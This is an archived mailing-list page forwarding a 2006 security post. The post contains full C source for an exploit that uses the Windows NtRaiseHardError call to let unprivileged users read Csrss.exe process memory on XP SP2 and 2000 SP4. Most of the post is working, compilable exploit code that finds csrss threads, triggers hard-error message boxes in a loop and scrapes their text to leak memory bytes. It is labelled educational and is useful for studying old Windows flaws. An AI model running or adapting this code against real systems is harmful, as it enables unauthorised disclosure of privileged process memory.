ðòïåëôù 


  áòèé÷ 


Apache-Talk @lexa.ru 

Inet-Admins @info.east.ru 

Filmscanners @halftone.co.uk 

Security-alerts @yandex-team.ru 

nginx-ru @sysoev.ru 

  óôáôøé 


  ðåòóïîáìøîïå 


  ðòïçòáííù 



ðéûéôå
ðéóøíá














     áòèé÷ :: Security-alerts
Security-Alerts mailing list archive (security-alerts@yandex-team.ru)

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[security-alerts] FW: NtRaiseHardError Csrss.exe memory Disclosure exploit



> -----Original Message-----
> From: Reversemode [mailto:advisories@xxxxxxxxxxxxxxx] 
> Sent: Wednesday, December 27, 2006 11:12 PM
> To: Securityfocus
> Subject: NtRaiseHardError Csrss.exe memory Disclosure exploit
> 
> 
> Hi,
> 
> I have been taking a look at the NtRaiseHardError bug and just for fun
> I've coded an exploit. Watch out, not for the double free 
> vulnerability
> (indeed I have not analyzed that piece of code yet) but  just 
> relying on
>  NtRaiseHardError internals and how is dispatched a MessageBox with
> MB_SERVICE_NOTIFICATION parameter enabled...
> 
> In google groups there are old references for this bug as a
> DoS.Unprivileged users can exploit that bug in order to read Csrss.exe
> process memory though.
> Not a big deal, but curious at least.
> 
> Tested on XP SP2 and 2K SP4 fully patched.
> 
> cheers,
> Rub?n.
> 
> ----------------------------------------------
> Direct download
> http://www.reversemode.com/index.php?option=com_remository&Ite
> mid=2&func=fileinfo&id=43
> 
> /////////////////////////////////////////
> /////////////////////////////////////////
> ///// Microsoft Windows NtRaiseHardError
> ///// Csrss.exe memory disclosure
> /////////////////////////////////////////
> ///// Ruben Santamarta
> ///// ruben at reversemode dot com
> ///// www.reversemode.com
> /////////////////////////////////////////
> ///// 12.27.2006
> ///// For educational purposes ONLY
> ///// Compiled using gcc (Dev-C++)
> ////////////////////////////////////////
> 
> #include <stdio.h>
> #include <windows.h>
> #include <winbase.h>
> #include <ntsecapi.h>
> 
> 
> #define UNICODE
> #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
> #define STATUS_SUCCESS              ((NTSTATUS) 0x00000000)
> #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS) 0xC0000004)
> #define STATUS_INVALID_PARAMETER    ((NTSTATUS) 0xC000000D)
> #define SystemProcessesAndThreadsInformation  5
> #define NTAPI __stdcall
> 
> int gLen=1;
> 
> 
> typedef NTSTATUS (WINAPI *PNTRAISE)(NTSTATUS,
>                                     ULONG,
>                                     ULONG,
>                                     PULONG,
>                                     UINT,
>                                     PULONG);
> 
> 
> typedef LONG NTSTATUS;
> typedef LONG  KPRIORITY;
> 
> typedef struct _CLIENT_ID {
>     DWORD         UniqueProcess;
>     DWORD         UniqueThread;
> } CLIENT_ID, * PCLIENT_ID;
> 
> 
> typedef struct _VM_COUNTERS {
>     SIZE_T        PeakVirtualSize;
>     SIZE_T        VirtualSize;
>     ULONG         PageFaultCount;
>     SIZE_T        PeakWorkingSetSize;
>     SIZE_T        WorkingSetSize;
>     SIZE_T        QuotaPeakPagedPoolUsage;
>     SIZE_T        QuotaPagedPoolUsage;
>     SIZE_T        QuotaPeakNonPagedPoolUsage;
>     SIZE_T        QuotaNonPagedPoolUsage;
>     SIZE_T        PagefileUsage;
>     SIZE_T        PeakPagefileUsage;
> } VM_COUNTERS;
> 
> 
> typedef struct _SYSTEM_THREAD_INFORMATION {
>     LARGE_INTEGER   KernelTime;
>     LARGE_INTEGER   UserTime;
>     LARGE_INTEGER   CreateTime;
>     ULONG                     WaitTime;
>     PVOID                     StartAddress;
>     CLIENT_ID     ClientId;
>     KPRIORITY     Priority;
>     KPRIORITY     BasePriority;
>     ULONG                     ContextSwitchCount;
>     LONG                      State;
>     LONG                      WaitReason;
> } SYSTEM_THREAD_INFORMATION, * PSYSTEM_THREAD_INFORMATION;
> 
> 
> 
> typedef struct _SYSTEM_PROCESS_INFORMATION {
>     ULONG                     NextEntryDelta;
>     ULONG                     ThreadCount;
>     ULONG                     Reserved1[6];
>     LARGE_INTEGER   CreateTime;
>     LARGE_INTEGER   UserTime;
>     LARGE_INTEGER   KernelTime;
>     UNICODE_STRING  ProcessName;
>     KPRIORITY     BasePriority;
>     ULONG                     ProcessId;
>     ULONG                     InheritedFromProcessId;
>     ULONG                     HandleCount;
>     ULONG                     Reserved2[2];
>     VM_COUNTERS           VmCounters;
>     IO_COUNTERS           IoCounters;
>     SYSTEM_THREAD_INFORMATION  Threads[5];
> } SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION;
> 
> 
> 
> typedef DWORD (WINAPI* PQUERYSYSTEM)(UINT, PVOID, DWORD,PDWORD);
> 
> 
> ULONG GetCsrssThread()
> {
>       ULONG cbBuffer = 0x5000;
>       ULONG tPointer;
>     LPVOID pBuffer = NULL;
>     NTSTATUS Status;
>       PCWSTR pszProcessName;
>       DWORD  junk;
>       ULONG ThreadCount;
>       int i=0,b=0;
> 
>       PQUERYSYSTEM NtQuerySystemInformation;
>       PSYSTEM_THREAD_INFORMATION pThreads;
>       PSYSTEM_PROCESS_INFORMATION pInfo ;
> 
>       NtQuerySystemInformation = (PQUERYSYSTEM) 
> GetProcAddress( LoadLibrary(
> "ntdll.dll" ),
>                                                               
>                          "NtQuerySystemInformation" );
> 
>       
>       do
>     {
>         pBuffer = malloc(cbBuffer);
>         if (pBuffer == NULL)
>         {
>             printf(("Not enough memory\n"));
>            break;
>         }
> 
>         Status = NtQuerySystemInformation(
>                     SystemProcessesAndThreadsInformation,
>                     pBuffer, cbBuffer, NULL);
> 
>         if (Status == STATUS_INFO_LENGTH_MISMATCH)
>         {
>             free(pBuffer);
>             cbBuffer *= 2;
>         }
>         else if (!NT_SUCCESS(Status))
>         {
>                       printf("NtQuerySystemInformation Error! ");
>             free(pBuffer);
>         }
>               
>     }   while (Status == STATUS_INFO_LENGTH_MISMATCH);
> 
> 
>       pInfo = (PSYSTEM_PROCESS_INFORMATION)pBuffer;
> 
>     for (;;)
>     {
>               
> 
>               if (pInfo->NextEntryDelta == 0)
>                       break;
>               if(pInfo->ProcessName.Buffer!=NULL &&
>         !wcsicmp(pInfo->ProcessName.Buffer,L"csrss.exe"))
>               {
> 
>                       printf("\n[%ws]  \n\n", 
> pInfo->ProcessName.Buffer);
>                       printf("5 addresses for testing purposes\n\n");
>              for(b=0;b<5;b++)
>            {
>              printf("Thread %d ->
> 0x%x\n",b,pInfo->Threads[b].StartAddress);    
>            }
>                  tPointer=(ULONG)pInfo->Threads[1].StartAddress;
>         }
>               pInfo = (PSYSTEM_PROCESS_INFORMATION)(((PUCHAR)pInfo)
>                                               + 
> pInfo->NextEntryDelta);
>     }
> 
>     free(pBuffer);
>     return tPointer;
> }
> 
> VOID WINAPI ReadBox( LPVOID param )
> {
> 
>       HWND hWindow,hButton,hText;
>       int i=0,b=0;
>       int gTemp;
>       char lpTitle[300];
>       char lpText[300];
>       char lpBuff[500];
>       
>       for (;;)
>       {
>       
>               lpText[0]=(BYTE)"";
>        Sleep(800);
>               hWindow = FindWindow("#32770",NULL);
>               if(hWindow != NULL)
>               {
>                       GetWindowText(hWindow,(LPSTR)&lpTitle,250);
>               
>                       hText=FindWindowEx(hWindow,0,"static",0);
>               
>                       GetWindowText(hText,(LPSTR)&lpText,250);
>                       hText=GetNextWindow(hText,GW_HWNDNEXT);
>                       
>             GetWindowText(hText,(LPSTR)&lpText,250);
>                   gTemp = strlen(lpTitle);
> 
>             if ( gTemp>1 ) gLen = gTemp;
>             else gLen = 1;
>                       
>             for(i = 0; i < gTemp; i++)   
> printf("%.2X",(BYTE)lpTitle[i]);
> 
>               
>                   SendMessage(hWindow,WM_CLOSE,0,0);
>                       
>             ZeroMemory((LPVOID)lpTitle,250);
>                       ZeroMemory((LPVOID)lpText,250);
>                       ZeroMemory((LPVOID)lpBuff,300);
>               }
> 
>       }
> }
> 
> 
> 
> 
> int main()
> {
> 
>    UNICODE_STRING uStr={5,5,L"fun!"};
>    ULONG retValue,args[]={0,0,&uStr};
>    ULONG csAddr;
>    PNTRAISE NtRaiseHardError;
>    int i=0;
> 
>     system("cls");
>     printf("##########################################\n");
>     printf("### Microsoft Windows NtRaiseHardError ###\n");
>     printf("#####  Csrss.exe memory disclosure  ######\n");
>     printf("@@@@@  Xmas Exploit   -   ho ho ho! @@@@@@\n");
>     printf("## Ruben Santamarta www.reversemode.com ##\n");
>     printf("##########################################\n\n");
> 
>     
> NtRaiseHardError=(PNTRAISE)GetProcAddress(GetModuleHandle("ntd
> ll.dll"),
>                                                "NtRaiseHardError");
>       
>     csAddr=GetCsrssThread();
> 
>     args[0]=csAddr;
>       args[1]=csAddr;
>       printf("\n[+] Capturing Messages \n");
> 
>     CreateThread( NULL,
>                                 0,
>                                (LPTHREAD_START_ROUTINE)ReadBox,
>                                 0,
>                                 0,
>                                NULL);
> 
> 
>                               
>       printf("\n[+] Now reading at: [0x%p] - Thread 
> 1\n\n",csAddr);               
> 
>    for(;;)
>    {
>     printf("Reading bytes at [0x%p] : ",args[0]);
>     NtRaiseHardError(0x50000018,3,4,args,1,&retValue);
> 
>     if(retValue && gLen<=1)          printf("00\n");
>     else printf("\n");
> 
>     args[0]+=gLen;
>     args[1]+=gLen;
>     }
> }
> 
> 



 




Copyright © Lexa Software, 1996-2009.